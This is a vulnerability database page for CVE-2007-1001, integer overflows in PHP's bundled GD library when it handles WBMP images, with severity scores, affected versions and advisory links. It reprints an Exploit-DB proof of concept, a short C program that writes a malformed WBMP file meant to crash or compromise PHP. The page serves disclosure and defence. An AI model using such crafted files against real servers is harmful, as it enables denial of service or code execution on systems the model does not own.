CVE-2007-1001 : Detail

CVE-2007-1001

2.93%V3
Network
2007-04-05
22h00 +00:00
2018-10-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple integer overflows in the (1) createwbmp and (2) readwbmp functions in wbmp.c in the GD library (libgd) in PHP 4.0.0 through 4.4.6 and 5.0.0 through 5.2.1 allow context-dependent attackers to execute arbitrary code via Wireless Bitmap (WBMP) images with large width or height values.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 29823

Publication date : 2007-04-06 22h00 +00:00
Author : Ivan Fratric
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/23357/info PHP's GD extension is prone to two integer-overflow vulnerabilities because it fails to ensure that integer values aren't overrun. Successfully exploiting these issues allows attackers to crash the affected application, potentially denying service to legitimate users. Due to the nature of the issues, code execution may also be possible, but this has not been confirmed. PHP 5.2.1 and prior versions are vulnerable. #define BUFSIZE 1000000 #include <stdio.h> int main() { int c; char buf[BUFSIZE]; FILE *fp = fopen("test.wbmp","w"); //write header c = 0; fputc(c,fp); fputc(c,fp); //write width = 2^32 / 4 + 1 c = 0x84; fputc(c,fp); c = 0x80; fputc(c,fp); fputc(c,fp); fputc(c,fp); c = 0x01; fputc(c,fp); //write height = 4 c = 0x04; fputc(c,fp); //write some data to cause overflow fwrite(buf,sizeof(buf),1,fp); fclose(fp); }

Products Mentioned

Configuraton 0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.4

    Php>>Php >> Version 4.0.5

    Php>>Php >> Version 4.0.6

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.1.0

    Php>>Php >> Version 4.1.1

    Php>>Php >> Version 4.1.2

    Php>>Php >> Version 4.2

      Php>>Php >> Version 4.2.0

      Php>>Php >> Version 4.2.1

      Php>>Php >> Version 4.2.2

      Php>>Php >> Version 4.2.3

      Php>>Php >> Version 4.3.0

      Php>>Php >> Version 4.3.1

      Php>>Php >> Version 4.3.2

      Php>>Php >> Version 4.3.3

      Php>>Php >> Version 4.3.4

      Php>>Php >> Version 4.3.5

      Php>>Php >> Version 4.3.6

      Php>>Php >> Version 4.3.7

      Php>>Php >> Version 4.3.8

      Php>>Php >> Version 4.3.9

      Php>>Php >> Version 4.3.10

      Php>>Php >> Version 4.3.11

      Php>>Php >> Version 4.4.0

      Php>>Php >> Version 4.4.1

      Php>>Php >> Version 4.4.2

      Php>>Php >> Version 4.4.3

      Php>>Php >> Version 4.4.4

      Php>>Php >> Version 4.4.5

      Php>>Php >> Version 4.4.6

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0

          Php>>Php >> Version 5.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.1

            Php>>Php >> Version 5.0.2

            Php>>Php >> Version 5.0.3

            Php>>Php >> Version 5.0.4

            Php>>Php >> Version 5.0.5

            Php>>Php >> Version 5.1.0

            Php>>Php >> Version 5.1.1

            Php>>Php >> Version 5.1.2

            Php>>Php >> Version 5.1.3

            Php>>Php >> Version 5.1.4

            Php>>Php >> Version 5.1.5

            Php>>Php >> Version 5.1.6

            Php>>Php >> Version 5.2.0

            Php>>Php >> Version 5.2.1

            References

            http://www.vupen.com/english/advisories/2007/2732
            Tags : vdb-entry, x_refsource_VUPEN
            http://secunia.com/advisories/25056
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/25151
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://security.gentoo.org/glsa/glsa-200705-19.xml
            Tags : vendor-advisory, x_refsource_GENTOO
            http://www.redhat.com/support/errata/RHSA-2007-0162.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://us2.php.net/releases/4_4_7.php
            Tags : x_refsource_CONFIRM
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:090
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/24909
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:087
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/24945
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://us2.php.net/releases/5_2_2.php
            Tags : x_refsource_CONFIRM
            http://secunia.com/advisories/24924
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.securityfocus.com/bid/23357
            Tags : vdb-entry, x_refsource_BID
            http://rhn.redhat.com/errata/RHSA-2007-0155.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://www.vupen.com/english/advisories/2007/1269
            Tags : vdb-entry, x_refsource_VUPEN
            http://secunia.com/advisories/24965
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.securityfocus.com/bid/25159
            Tags : vdb-entry, x_refsource_BID
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:089
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/25445
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/24814
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:088
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/26235
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.redhat.com/support/errata/RHSA-2007-0153.html
            Tags : vendor-advisory, x_refsource_REDHAT